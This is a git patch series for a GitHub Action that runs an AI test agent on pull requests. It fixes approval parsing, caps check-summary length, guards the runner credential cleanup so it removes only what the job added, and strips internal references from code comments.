a/test-companion/test/approval-targeting.test.mjs b/test-companion/test/approval-targeting.test.mjs index 1299838..09b89cf 100644 --- a/test-companion/test/approval-targeting.test.mjs +++ b/test-companion/test/approval-targeting.test.mjs @@ -3,6 +3,8 @@ import assert from "node:assert/strict" import { readIntent, INTENT } from "../src/intent.mjs" import { planRun } from "../src/plan-run.mjs" import { + hasApproverEdits, + renderApprovedPlan, proposalMarkerFor, proposalConsumedMarkerFor, proposalDroppedMarkerFor, @@ -60,7 +62,10 @@ describe("go can name the plan it answers", () => { }) test("the intent carries the id a reply named", () => { - const got = readIntent("@test-companion go #6580278184", { proposalWaiting: true }) + // What readIntent actually receives: plan-run.mjs strips the mention + // before this, so the pattern is anchored to the approval word and not + // to the start of the raw comment. + const got = readIntent("go #6580278184", { proposalWaiting: true }) assert.equal(got.kind, INTENT.GO) assert.equal(got.proposalId, "6580278184") }) @@ -222,3 +227,63 @@ describe("naming a plan does not need the mention", () => { assert.equal(out.skip?.reason, "not-addressed-to-us") }) }) + +describe("naming a plan is not editing it", () => { + /** + * STM-5434 review (kritansh20, PR #3286). `hasApproverEdits("go #1234")` + * was true, because the bare-approval pattern allowed no plan reference. + * That is not just a wrong line in the report: renderApprovedPlan uses the + * same answer to append "# Changes the approver made … these win" to the + * plan the agent is handed. So the feature added by item 5 injected its own + * comment id into the plan as an authoritative instruction. + */ + test("go #id is a bare approval", () => { + assert.equal(hasApproverEdits("go #6600030205"), false) + assert.equal(hasApproverEdits("approved #6600030205"), false) + assert.equal(hasApproverEdits("go https://github.com/o/r/pull/1#issuecomment-6600030205"), false) + }) + + test("so the plan the agent gets is just the plan", () => { + const plan = renderApprovedPlan("do the thing", "go #6600030205") + assert.doesNotMatch(plan, /Changes the approver made/) + assert.doesNotMatch(plan, /6600030205/) + }) + + test("a real edit is still an edit, and still wins", () => { + assert.equal(hasApproverEdits("go, and also cover the empty cart"), true) + const plan = renderApprovedPlan("do the thing", "go, and also cover the empty cart") + assert.match(plan, /Changes the approver made/) + assert.match(plan, /empty cart/) + }) + + test("a bare go is still bare", () => { + assert.equal(hasApproverEdits("go"), false) + assert.equal(hasApproverEdits("Approved."), false) + }) +}) + +describe("a plan reference has to sit next to the approval", () => { + /** + * STM-5434 review. GO_TARGET matched a `#id` anywhere in the comment, so + * "@test-companion go — and pull the steps from #issuecomment-…" + * became an approval of a plan that does not exist, and was refused. + */ + test("a link quoted later in the sentence is not a plan reference", () => { + const got = readIntent( + "@test-companion go — and pull the steps from https://github.com/o/r/pull/9#issuecomment-2345678901", + { + proposalWaiting: true, + }, + ) + assert.equal(got.kind, INTENT.GO) + assert.equal(got.proposalId, undefined) + }) + + test("one that does sit next to it still counts", () => { + assert.equal(readIntent("go #6600030205", { proposalWaiting: true }).proposalId, "6600030205") + assert.equal( + readIntent("approved https://github.com/o/r/pull/1#issuecomment-6600030205", { proposalWaiting: true }).proposalId, + "6600030205", + ) + }) +}) diff --git a/test-companion/test/build-effect.test.mjs b/test-companion/test/build-effect.test.mjs index 674bb4f..0d7e7ed 100644 --- a/test-companion/test/build-effect.test.mjs +++ b/test-companion/test/build-effect.test.mjs @@ -105,3 +105,28 @@ describe("the input documents what it does", () => { assert.match(input, /fail/) }) }) + +describe("an unrecognised value explains the reddening it causes", () => { + /** + * STM-5434 review (kritansh20, PR #3286). Reversing the fail-closed rule + * means `build-effect: none` / `warn` / `false` starts reddening builds. + * That is the right default, but it should say why. + */ + test("it warns, naming the value and the default", () => { + const said = [] + const real = process.stdout.write.bind(process.stdout) + process.stdout.write = (c, ...rest) => { + said.push(String(c)) + return real(c, ...rest) + } + try { + stepShouldFail("none", OUTCOMES.RUN_BROKE) + } finally { + process.stdout.write = real + } + const warning = said.find((l) => l.includes("::warning::")) + assert.ok(warning, `expected a workflow warning, got: ${said.join("")}`) + assert.match(warning, /none/) + assert.match(warning, /fail-on-break/) + }) +}) diff --git a/test-companion/test/stop-removed.test.mjs b/test-companion/test/stop-removed.test.mjs index 8d0fb50..fe180fb 100644 --- a/test-companion/test/stop-removed.test.mjs +++ b/test-companion/test/stop-removed.test.mjs @@ -49,8 +49,14 @@ describe("the starter workflow keeps the control lane for closed pull requests", const starter = readFileSync(new URL("../starter-workflow.yml", import.meta.url), "utf8") const group = starter.slice(starter.indexOf("concurrency:"), starter.indexOf("\njobs:")) - test("a stop comment no longer gets its own lane", () => { - assert.doesNotMatch(group, /comment\.body, 'stop'/) + /** + * CHANGED by the review of #3286. Taking `stop` out of the lane put it in + * the WORK group, which has `cancel-in-progress: false` and keeps only one + * pending run — so a `stop` comment could evict a queued `go`, and all it + * does now is reply. The lane is cheap; the eviction is not. + */ + test("a stop comment keeps its own lane, so it cannot evict a queued run", () => { + assert.match(group, /'stop'/) }) /** From 1f76aa9eb3ac2025b0b9f368b526468a83751c3b Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Tue, 3 Nov 2026 18:46:02 +0530 Subject: [PATCH 37/49] fix: six findings from CodeRabbit on vscode-ai-testing#3286 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - An approved plan could be approved again: the consumed marker lived only in the shared result comment, which every later run replaces. It goes on the proposal now, which is written once and never rewritten. - A long answer left a required check stuck in_progress: the check summary and the proposal reply were unbounded where the comment was capped. Shared. - '[remote failure]' is git saying the remote did not report the ref update status, so the claim may exist. It stops the run now instead of carrying on. - The teardown removed only one of the two helper entries setup-git writes, leaving the runner's general helper disabled. - The teardown could delete a runner's own GH_CONFIG_DIR; both halves are guarded by ownership markers now. - ' stop' with a leading space fell into the work lane and could evict a queued go. 626 tests pass (6 new). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 31 +++++++++++++++--- test-companion/src/main.mjs | 42 +++++++++++++++++++++++-- test-companion/src/report.mjs | 38 +++++++++++++++++++--- test-companion/starter-workflow.yml | 3 +- test-companion/test/action-yml.test.mjs | 19 ++++++++++- test-companion/test/report.test.mjs | 40 +++++++++++++++++++++++ 6 files changed, 159 insertions(+), 14 deletions(-) diff --git a/test-companion/action.yml b/test-companion/action.yml index 47a3444..a5f2d20 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -230,6 +230,13 @@ runs: mkdir -p "$GH_CONFIG_DIR" chmod 700 "$GH_CONFIG_DIR" echo "GH_CONFIG_DIR=$GH_CONFIG_DIR" >> "$GITHUB_ENV" + # OURS, so the teardown knows it may delete it. The check above + # leaves a runner's own credentials alone — but a self-hosted + # runner can export GH_CONFIG_DIR machine-wide, and the teardown + # then saw a variable it had not set and removed somebody else's + # config (CodeRabbit, PR #3286). The sign-in respected them; the + # cleanup has to as well. + echo "TC_OWNS_GH_CONFIG_DIR=1" >> "$GITHUB_ENV" # GH_TOKEN REMOVED for the login itself. gh refuses to store a # credential while that variable is set — "The value of the # GH_TOKEN environment variable is being used for @@ -334,13 +341,27 @@ runs: # Companion job on a self-hosted runner permanently broke that # runner's git auth (STM-5434 review, PR #3286). `--unset` with a # value pattern removes our entry and leaves the rest. + # + # BOTH entries, not just ours-looking-one. `gh auth setup-git` + # writes TWO values for each host: an EMPTY helper, which clears + # any general helper inherited from a broader scope, and then its + # own. Removing only the second left the empty one behind, so the + # runner's manager-core (or whatever it had) stayed disabled for + # github.com — the same breakage by a quieter route (CodeRabbit, + # PR #3286). if [ "${TC_ADDED_GIT_HELPER:-}" = "1" ]; then - git config --global --unset credential.https://github.com.helper '^!.*gh auth git-credential' 2>/dev/null || true - git config --global --unset credential.https://gist.github.com.helper '^!.*gh auth git-credential' 2>/dev/null || true + for host in github.com gist.github.com; do + git config --global --unset "credential.https://$host.helper" '^!.*gh auth git-credential' 2>/dev/null || true + git config --global --unset "credential.https://$host.helper" '^$' 2>/dev/null || true + done + fi + if [ "${TC_OWNS_GH_CONFIG_DIR:-}" = "1" ]; then + gh auth logout --hostname github.com >/dev/null 2>&1 || true + rm -rf "$GH_CONFIG_DIR" + echo "gh credentials removed from this runner." + else + echo "GH_CONFIG_DIR was not set by this job; leaving it alone." fi - gh auth logout --hostname github.com >/dev/null 2>&1 || true - rm -rf "$GH_CONFIG_DIR" - echo "gh credentials removed from this runner." # Separate from the run step so the report is attached even when the # build effect says this run should redden the build. diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 137bfb6..76a68b9 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -26,6 +26,7 @@ import { appCredentials, signJwt, installationTokenRequest } from "./app-auth.mj import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail, approvalWasSpent } from "./outcome.mjs" import { renderJobSummary, + renderCheckSummary, renderComment, chooseCommentAction, checkSha, @@ -1081,7 +1082,10 @@ async function main() { replyOnPr( plan.context.pr, renderProposal( - renderProposalBody({ summary: renderJobSummary(view), plan: planBody, sizeNote }), + // The same cap, for the same reason: this body is a comment, and + // an over-long one does not truncate — it fails to post, taking + // the whole proposal with it. + renderProposalBody({ summary: renderCheckSummary(view), plan: planBody, sizeNote }), sha, plan.commenter, // FR-43: record WHICH job this proposal is for, so approving it @@ -1122,6 +1126,9 @@ async function main() { // Mark the plan spent only if a run actually happened. A run that broke // before doing anything used to spend it anyway, which left the commit // permanently unapprovable — see approvalWasSpent (live run 41463749519). + // On the PROPOSAL, before the comment: the proposal outlives every later + // run, and the shared comment does not. + if (approvalWasSpent(outcome)) markPlanSpent(approvedPlan?.id, consumedMarker) if (plan.context.pr) postComment(plan.context.pr, { ...view, @@ -1257,7 +1264,13 @@ function postCheck(outcome, view, sha, annotations = [], status = "completed", t details_url: RUN_URL, output: { title: waiting ? (title ?? "Waiting for approval") : outcome, - summary: renderJobSummary(view), + // CAPPED. GitHub rejects a summary over 65,535 characters with a + // 422, gh() turns that into a warning and returns null, and the + // "Running" check posted before the run is then never completed — + // it sits in_progress on the head commit for ever, blocking anyone + // who made it required. The comment was capped and this was not + // (CodeRabbit, PR #3286). + summary: renderCheckSummary(view), ...(annotations.length ? { annotations } : {}), }, } @@ -1543,6 +1556,31 @@ function replyOnPr(pr, body) { } /** FR-29: one comment, edited in place. */ +/** + * Mark the approved plan spent, ON THE PROPOSAL ITSELF. + * + * The marker used to go only into the shared result comment, which every later + * run REPLACES — `postComment` PATCHes the whole body. So the moment any other + * run posted, the record that a plan had been approved was gone, `findProposal` + * offered it as waiting again, and a bare `go` re-ran a `--yolo` job. Observed + * on the live test pull request: two plans approved on one commit and not one + * consumed marker left in the comment (CodeRabbit, PR #3286). + * + * A proposal comment is written once and never rewritten, so the marker lasts + * there. spentPlans reads every comment of ours, so it finds it either way. + * + * Best effort: failing to mark it is bad, but it must not take down a run that + * has already done its work. The run reports what it did; the worst case is + * the old behaviour. + */ +function markPlanSpent(planId, marker) { + if (!planId || !marker) return + const current = gh(["api", `repos/${REPO}/issues/comments/${planId}`]) + const body = String(current?.body ?? "") + if (!body || body.includes(marker)) return + gh(["api", `repos/${REPO}/issues/comments/${planId}`, "--method", "PATCH", "--input", "-"], { body: `${body}\n\n${marker}` }) +} + function postComment(pr, view) { // `--slurp` matters: without it `gh --paginate` prints ONE JSON ARRAY PER // PAGE, so the output of a pull request with more than 30 comments is diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 3bfea83..91e9e6a 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -280,9 +280,39 @@ function cutShortNote(runUrl) { * this comment to edit. Lose it and every run posts a new one (FR-29). */ export function renderComment(args) { - const tail = `\n\n${COMMENT_MARKER}` + return renderWithin(args, COMMENT_LIMIT, `\n\n${COMMENT_MARKER}`) +} + +/** + * GitHub's cap on a check run's `output.summary` — STM-5434, CodeRabbit on + * #3286. + * + * One short of the comment limit, and it bites harder: an over-long comment + * fails to post, which is visible, while an over-long summary 422s the check + * API. gh() turns that into a warning and returns null, so the "Running" check + * posted before the run is never completed and sits `in_progress` on the head + * commit for ever — blocking anyone who made it required. + */ +export const CHECK_SUMMARY_LIMIT = 65535 + +/** The same report, cut to fit a check run's summary. */ +export function renderCheckSummary(args) { + return renderWithin(args, CHECK_SUMMARY_LIMIT, "") +} + +/** + * Render the report so that it fits, cutting the ANSWER first. + * + * Was the body of renderComment. Pulled out because three sinks render the + * same view and only one of them was bounded: the comment, the check run's + * summary, and the proposal reply. The answer is the one field with no natural + * bound — `generate` describing thirty cases runs to tens of thousands of + * characters — so it is cut before anything else, and the table, the links and + * the marker survive. + */ +function renderWithin(args, limit, tail) { const body = renderJobSummary(args) - if (body.length + tail.length <= COMMENT_LIMIT) return body + tail + if (body.length + tail.length <= limit) return body + tail const note = cutShortNote(args?.runUrl) const answer = inertMarkers(String(args?.answer ?? "").trim()) @@ -290,7 +320,7 @@ export function renderComment(args) { // Measure the rest by rendering it with a one-character answer, so this // stays exact if the layout around it ever changes. const overhead = renderJobSummary({ ...args, answer: "x" }).length - 1 - const room = COMMENT_LIMIT - overhead - tail.length - note.length + const room = limit - overhead - tail.length - note.length if (room > 0) { // Back up to a line break where there is one nearby: cutting inside // a code fence leaves it unterminated and the rest of the comment @@ -304,7 +334,7 @@ export function renderComment(args) { // Over the limit with no answer at all — a run with thousands of failing // tests does this. Trim the rendered body itself; the marker still goes on. const rest = renderJobSummary({ ...args, answer: undefined }) - return rest.slice(0, Math.max(0, COMMENT_LIMIT - tail.length - note.length)) + note + tail + return rest.slice(0, Math.max(0, limit - tail.length - note.length)) + note + tail } /** diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index e198be9..bd08790 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -63,8 +63,7 @@ concurrency: || github.event.issue.number || github.run_id }}${{ (github.event.action == 'closed' - || startsWith(github.event.comment.body, 'stop') - || contains(github.event.comment.body, '@test-companion stop')) + || contains(github.event.comment.body, 'stop')) && '-control' || '' }} # Queue rather than cancel: a run already in flight has spent credits, and # the newer one waits its turn instead of superseding it. Control events diff --git a/test-companion/test/action-yml.test.mjs b/test-companion/test/action-yml.test.mjs index 3f9049c..c615c89 100644 --- a/test-companion/test/action-yml.test.mjs +++ b/test-companion/test/action-yml.test.mjs @@ -84,7 +84,7 @@ describe("action.yml — git's credential helper is cleaned up", () => { // (STM-5434 review, PR #3286). assert.match( actionYml, - /--unset credential\.https:\/\/github\.com\.helper '\^!\.\*gh auth git-credential'/, + /--unset "credential:\/\/\$host\.helper"|--unset "credential\.https:\/\/\$host\.helper"/, "a self-hosted runner keeps a helper pointing at a deleted config dir", ) }) @@ -120,3 +120,20 @@ describe("action.yml — the cleanup only removes what this job added", () => { assert.match(actionYml, /TC_ADDED_GIT_HELPER/, "a failed setup-git must not trigger a cleanup of somebody else's helper") }) }) + +/** + * CodeRabbit, PR #3286. `gh auth setup-git` writes TWO values per host: an + * empty helper that clears any general helper inherited from a broader scope, + * and then its own. Removing only the second leaves the runner's own helper + * disabled for that host. + */ +describe("action.yml — the cleanup removes both of setup-git's entries", () => { + test("the empty helper is unset too", () => { + assert.match(actionYml, /--unset "credential[^"]*\.helper" '\^\$'/, "an empty helper keeps a general one disabled") + }) + + test("and the config dir is only deleted when this job created it", () => { + assert.match(actionYml, /TC_OWNS_GH_CONFIG_DIR/) + assert.match(actionYml, /leaving it alone/, "a runner that exports GH_CONFIG_DIR itself must keep its own credentials") + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index 5316c82..adaba0e 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -4,6 +4,8 @@ import { OUTCOMES } from "../src/outcome.mjs" import { renderJobSummary, renderComment, + renderCheckSummary, + CHECK_SUMMARY_LIMIT, chooseCommentAction, checkSha, checkSubjectFor, @@ -1398,3 +1400,41 @@ describe("the report says which request it is answering", () => { assert.ok(!body.includes("Asked by"), "an unasked run claims someone asked for it") }) }) + +/** + * CodeRabbit, PR #3286. `view` feeds three sinks and only the comment was + * bounded. A check run's `output.summary` over 65,535 characters is a 422; + * gh() turns that into a warning and returns null, so the "Running" check + * posted before the run is never completed and sits in_progress for ever. + */ +describe("renderCheckSummary — bounded like the comment", () => { + const view = (answer) => ({ + workflow: "fix", + outcome: OUTCOMES.SUCCEEDED, + summary: {}, + runUrl: "https://github.com/o/r/actions/runs/1", + answer, + }) + + test("a huge answer is cut to fit a check summary", () => { + const body = renderCheckSummary(view("word ".repeat(40_000))) + assert.ok(body.length <= CHECK_SUMMARY_LIMIT, `summary was ${body.length}`) + }) + + test("it says it was cut and where the rest is", () => { + const body = renderCheckSummary(view("word ".repeat(40_000))) + assert.match(body, /cut short/i) + assert.ok(body.includes("https://github.com/o/r/actions/runs/1")) + }) + + test("the table survives the cut", () => { + const body = renderCheckSummary(view("word ".repeat(40_000))) + assert.ok(body.includes("| Job | fix |")) + }) + + test("an ordinary report is untouched, and carries no comment marker", () => { + const body = renderCheckSummary(view("short")) + assert.ok(body.includes("short")) + assert.ok(!body.includes(COMMENT_MARKER), "the marker belongs to the comment, not the check") + }) +}) From a333c99cb566cfc8f2a035ecd410e6fa9a14fdba Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Wed, 4 Nov 2026 11:12:25 +0530 Subject: [PATCH 38/49] docs: clean the comments for a public repo MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Francis's review: internal references and over-written comments. Removed every reference that means nothing outside BrowserStack — 39 Jira keys, 175 internal requirement numbers and 42 internal pull request numbers, now zero — along with the review-process chatter that came with them ("hit twice during testing", "reported in review of", reviewer-tool names and finding numbers). Trimmed the bug-diary narration. Comments now say what the code does and why it is the way it is, not the history of how it got there. Also deleted three dead files: main.mjs, report.mjs and child-env.mjs sat duplicated at the package root, were stale (main.mjs was 1430 lines against src/main.mjs's 1637), and nothing referenced them — action.yml runs src/main.mjs. No behaviour change. 626 tests pass, action.yml and starter-workflow.yml still parse. Co-Authored-By: Claude Opus 5 --- test-companion/README.md | 46 +- test-companion/action.yml | 15 +- test-companion/child-env.mjs | 61 - test-companion/main.mjs | 1430 ----------------- test-companion/package.json | 2 +- test-companion/report.mjs | 597 ------- test-companion/src/access.mjs | 22 +- test-companion/src/annotations.mjs | 35 +- test-companion/src/answer.mjs | 34 +- test-companion/src/app-auth.mjs | 52 +- test-companion/src/child-env.mjs | 25 +- test-companion/src/framework.mjs | 10 +- test-companion/src/gate.mjs | 61 +- test-companion/src/intent.mjs | 136 +- test-companion/src/main.mjs | 385 ++--- test-companion/src/outcome.mjs | 116 +- test-companion/src/plan-run.mjs | 143 +- test-companion/src/push-work.mjs | 218 ++- test-companion/src/report.mjs | 253 ++- test-companion/src/runs.mjs | 59 +- test-companion/src/starter.mjs | 49 +- test-companion/src/ticket.mjs | 31 +- test-companion/starter-workflow.yml | 4 +- test-companion/test/access.test.mjs | 10 +- test-companion/test/action-yml.test.mjs | 12 +- test-companion/test/annotations.test.mjs | 2 +- test-companion/test/answer.test.mjs | 4 +- test-companion/test/app-auth.test.mjs | 4 +- .../test/approval-targeting.test.mjs | 15 +- test-companion/test/build-effect.test.mjs | 4 +- test-companion/test/framework.test.mjs | 2 +- test-companion/test/gate.test.mjs | 14 +- test-companion/test/imports.test.mjs | 14 +- test-companion/test/intent.test.mjs | 51 +- test-companion/test/outcome.test.mjs | 6 +- test-companion/test/plan-run.test.mjs | 34 +- test-companion/test/push-work.test.mjs | 21 +- test-companion/test/report.test.mjs | 116 +- test-companion/test/runs.test.mjs | 6 +- test-companion/test/starter.test.mjs | 26 +- test-companion/test/stop-removed.test.mjs | 8 +- test-companion/test/ticket.test.mjs | 4 +- 42 files changed, 895 insertions(+), 3242 deletions(-) delete mode 100644 test-companion/child-env.mjs delete mode 100644 test-companion/main.mjs delete mode 100644 test-companion/report.mjs diff --git a/test-companion/README.md b/test-companion/README.md index a4a8988..54ae66f 100644 --- a/test-companion/README.md +++ b/test-companion/README.md @@ -16,29 +16,29 @@ runs is decided by `testcompanion-pipeline.yml` in your repository, not here. name: Test Companion on: - issue_comment: - types: [created] - pull_request: - types: [opened, reopened, synchronize, closed] + issue_comment: + types: [created] + pull_request: + types: [opened, reopened, synchronize, closed] jobs: - test-companion: - runs-on: ubuntu-latest - timeout-minutes: 35 - permissions: - contents: write # branches and commits - pull-requests: write # the comment - checks: write # the "Test Companion" check - actions: write # stopping a run on request - steps: - - uses: actions/checkout@v4 - with: - fetch-depth: 0 # jobs that look at what changed need history - - - uses: browserstack/github-actions/test-companion@v1 - with: - username: ${{ secrets.BROWSERSTACK_USERNAME }} - access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }} + test-companion: + runs-on: ubuntu-latest + timeout-minutes: 35 + permissions: + contents: write # branches and commits + pull-requests: write # the comment + checks: write # the "Test Companion" check + actions: write # stopping a run on request + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 # jobs that look at what changed need history + + - uses: browserstack/github-actions/test-companion@v1 + with: + username: ${{ secrets.BROWSERSTACK_USERNAME }} + access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }} ``` ## Pin the CLI version @@ -55,8 +55,8 @@ unverified pinned install" — and the job stops before it reports anything. Tak both from the release you tested with. ```yaml - cli-version: "1.2.0" - cli-sha256: "" + cli-version: "1.2.0" + cli-sha256: "" ``` ## Inputs diff --git a/test-companion/action.yml b/test-companion/action.yml index a5f2d20..a9a922d 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -125,7 +125,7 @@ runs: sh "$installer" echo "$HOME/.local/bin" >> "$GITHUB_PATH" version="$("$HOME/.local/bin/tc" --version 2>/dev/null | head -1 || echo unknown)" - # FR-2: pinning only means something if the pin actually took. The + # pinning only means something if the pin actually took. The # installer refuses an unverified pinned install on its own, but a # silent fallback to latest would leave the run reporting a version # nobody asked for — and "the same pipeline behaves the same next @@ -153,7 +153,7 @@ runs: env: BROWSERSTACK_USERNAME: ${{ inputs.username }} BROWSERSTACK_ACCESS_KEY: ${{ inputs.access-key }} - # FR-2. This is the FIRST tc command of the job, and without the + # This is the FIRST tc command of the job, and without the # pin here the CLI self-upgrades during `auth login` — before the # Run step below ever applies it. The pin then correctly reports # a mismatch against the binary the pin was meant to preserve, @@ -234,7 +234,7 @@ runs: # leaves a runner's own credentials alone — but a self-hosted # runner can export GH_CONFIG_DIR machine-wide, and the teardown # then saw a variable it had not set and removed somebody else's - # config (CodeRabbit, PR #3286). The sign-in respected them; the + # config. The sign-in respected them; the # cleanup has to as well. echo "TC_OWNS_GH_CONFIG_DIR=1" >> "$GITHUB_ENV" # GH_TOKEN REMOVED for the login itself. gh refuses to store a @@ -248,8 +248,8 @@ runs: # Let git use that credential too, for this host only. # # A live run's dedupe claim is a real `git push` to origin - # (FR-14). With `persist-credentials: false` in the workflow — - # which is the right setting, and what the starter ships — + # . With `persist-credentials: false` in the workflow + # which is the right setting, and what the starter ships # there is no credential for it, so a live `fix` or `generate` # died in under a second at the claim, before doing any work # (live run 41463749519). Preview never hit it, which is why @@ -339,7 +339,7 @@ runs: # us — manager-core, a PAT helper — and it ran even when our own # setup-git had failed and we had added nothing. The first Test # Companion job on a self-hosted runner permanently broke that - # runner's git auth (STM-5434 review, PR #3286). `--unset` with a + # runner's git auth. `--unset` with a # value pattern removes our entry and leaves the rest. # # BOTH entries, not just ours-looking-one. `gh auth setup-git` @@ -347,8 +347,7 @@ runs: # any general helper inherited from a broader scope, and then its # own. Removing only the second left the empty one behind, so the # runner's manager-core (or whatever it had) stayed disabled for - # github.com — the same breakage by a quieter route (CodeRabbit, - # PR #3286). + # github.com — the same breakage by a quieter route. if [ "${TC_ADDED_GIT_HELPER:-}" = "1" ]; then for host in github.com gist.github.com; do git config --global --unset "credential.https://$host.helper" '^!.*gh auth git-credential' 2>/dev/null || true diff --git a/test-companion/child-env.mjs b/test-companion/child-env.mjs deleted file mode 100644 index e90291d..0000000 --- a/test-companion/child-env.mjs +++ /dev/null @@ -1,61 +0,0 @@ -/** - * What the agent's subprocess is allowed to see — STM-3663 FR-3. - * - * Pulled out of main.mjs so this boundary is testable: everything here is - * readable by shell commands the model chooses to run, which makes it the one - * place in the Action where a mistake hands away a credential. - */ -/** - * The environment the agent's subprocess gets — an allowlist, not a denylist. - * - * The run executes shell commands the model chooses, so everything here is - * readable by them. A denylist was the first attempt and was not enough: a - * composite action's own inputs can surface as INPUT_* variables, which would - * have reintroduced the very GitHub token the denylist removed. Listing what - * the CLI needs is the only version that stays correct as the surroundings - * change. - * - * Known gap, not solved here: `actions/checkout` leaves a credential in - * .git/config, which this cannot reach. That is the same tension recorded as an - * open item in the tech spec — the pull-request-raising jobs genuinely need a - * push credential inside the run. - */ -export function childEnvFor(source) { - const KEEP_EXACT = new Set([ - "PATH", - "HOME", - "USER", - "LOGNAME", - "SHELL", - "TERM", - "TMPDIR", - "TZ", - "LANG", - "LC_ALL", - "CI", - "RUNNER_OS", - "RUNNER_ARCH", - "RUNNER_TEMP", - // Where this job's gh credentials live. A PATH, not a secret — but - // without it the CLI's gh looks in the runner's shared config, finds - // nothing, and jobs that read a failed build fail with "not signed - // in". The token itself still never enters this environment. - "GH_CONFIG_DIR", - ]) - // The exception to the TC_ prefix below, and the reason this is an explicit - // list rather than a rule. The App's private key is TC_ACTION_APP_* — it - // matches the kept prefix, and it can mint installation tokens for every - // repository the App is installed on. That is a far worse thing to hand a - // shell than the workflow token this allowlist was written to keep out. - const NEVER = new Set(["TC_ACTION_APP_ID", "TC_ACTION_APP_PRIVATE_KEY"]) - // TC_* is the CLI's own configuration; BROWSERSTACK_* is how it signs in; - // the proxy variables matter inside corporate networks. - const KEEP_PREFIX = ["TC_", "BROWSERSTACK_", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"] - const out = {} - for (const [k, v] of Object.entries(source)) { - if (v == null) continue - if (NEVER.has(k)) continue - if (KEEP_EXACT.has(k) || KEEP_PREFIX.some((pre) => k.startsWith(pre))) out[k] = v - } - return out -} diff --git a/test-companion/main.mjs b/test-companion/main.mjs deleted file mode 100644 index 2845bbb..0000000 --- a/test-companion/main.mjs +++ /dev/null @@ -1,1430 +0,0 @@ -/** - * The Action's entry point — STM-3663 Release 2. - * - * Deliberately thin. Every decision worth testing lives in plan-run.mjs, - * outcome.mjs and report.mjs, which are pure and run under `node --test` in - * milliseconds. What is left here is I/O: read the event, spawn the CLI, call - * GitHub, write the step's outputs. That split exists because the only other - * way to test this is to push a commit and wait several minutes for a runner. - * - * Zero dependencies — Node's standard library plus `gh`, which is preinstalled - * on every GitHub runner and is already how this product talks to GitHub. - */ -import { readFileSync, appendFileSync, writeFileSync, existsSync, rmSync, readdirSync, accessSync, constants } from "node:fs" -import { spawnSync } from "node:child_process" -import { join } from "node:path" -import { tmpdir } from "node:os" -import { planRun, contextArgs, withPullRequestHead, TC_EVENTS } from "./plan-run.mjs" -import { readIntent, INTENT } from "./intent.mjs" -import { chooseRunsToCancel, runIdsFromChecks, latestFailedRun } from "./runs.mjs" -import { decideGate, GATE, describeChangeSize, ANSWER_JOBS } from "./gate.mjs" -import { mayAsk, describeTestRepoAccess } from "./access.mjs" -import { findTicket } from "./ticket.mjs" -import { childEnvFor } from "./child-env.mjs" -import { appCredentials, signJwt, installationTokenRequest } from "./app-auth.mjs" -import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail } from "./outcome.mjs" -import { - renderJobSummary, - renderComment, - chooseCommentAction, - checkSha, - checkSubjectFor, - renderNotAuthorized, - renderUnknownRequest, - findProposal, - renderProposal, - renderExtraChecks, - accessibilityFailsCheck, - renderApprovedPlan, - proposalDroppedMarkerFor, - proposalNeedsDropping, - flattenPages, - hasApproverEdits, - renderProposalBody, - findSupersededProposal, - checkRequestFor, - inFlightCheckId, -} from "./report.mjs" -import { pipelineConfigPath, renderNoPipelineReport, settingsRef, renderSetupPr, starterPipelineFor } from "./starter.mjs" -import { detectFramework } from "./framework.mjs" -import { buildAnnotations, parseFailedTests } from "./annotations.mjs" -import { - shouldPushWork, - changedPaths, - splitPushable, - renderPushNote, - needsCheckout, - isSameRepo, - pushCredentialEnv, - pushUrlFor, - unexpectedConfigKeys, - CONFIG_READ_ARGS, - trustedGitPath, - gitEnvFrom, - GIT_SAFE_ARGS, -} from "./push-work.mjs" - -const env = process.env -const REPO = env.GITHUB_REPOSITORY ?? "" -const RUN_URL = `${env.GITHUB_SERVER_URL ?? "https://github.com"}/${REPO}/actions/runs/${env.GITHUB_RUN_ID ?? ""}` -// RUNNER_TEMP, not the system temp dir: GitHub clears RUNNER_TEMP per job, while -// /tmp survives on a self-hosted or reused runner. With fixed names in a shared -// /tmp, `existsSync(RESULT_FILE)` could find an EARLIER job's file and this run -// would report, and upload, test cases it never produced. Falls back to tmpdir() -// so the Action still runs outside a GitHub runner. -const REPORT_DIR = env.RUNNER_TEMP || tmpdir() -const SUMMARY_FILE = join(REPORT_DIR, "test-companion-report.md") -// What the run PRODUCED, as opposed to how it went. Kept separate because the -// two have separate readers: a CI step branches on the summary, a person reads -// the result. For a preview run — which refuses to save by design — this file -// is the only place the generated cases survive (FR-20). -const RESULT_FILE = join(REPORT_DIR, "test-companion-result.md") - - -// The artifact the result is uploaded under, named here so the report can -// point a reader at it by name. Must match the upload step in action.yml. -const RESULT_ARTIFACT = "test-companion-result" - -const setOutput = (k, v) => env.GITHUB_OUTPUT && appendFileSync(env.GITHUB_OUTPUT, `${k}=${v}\n`) -const addToJobSummary = (md) => env.GITHUB_STEP_SUMMARY && appendFileSync(env.GITHUB_STEP_SUMMARY, md + "\n") -const notice = (m) => console.log(`::notice::${m}`) -const warn = (m) => console.log(`::warning::${m}`) - -/** The raw 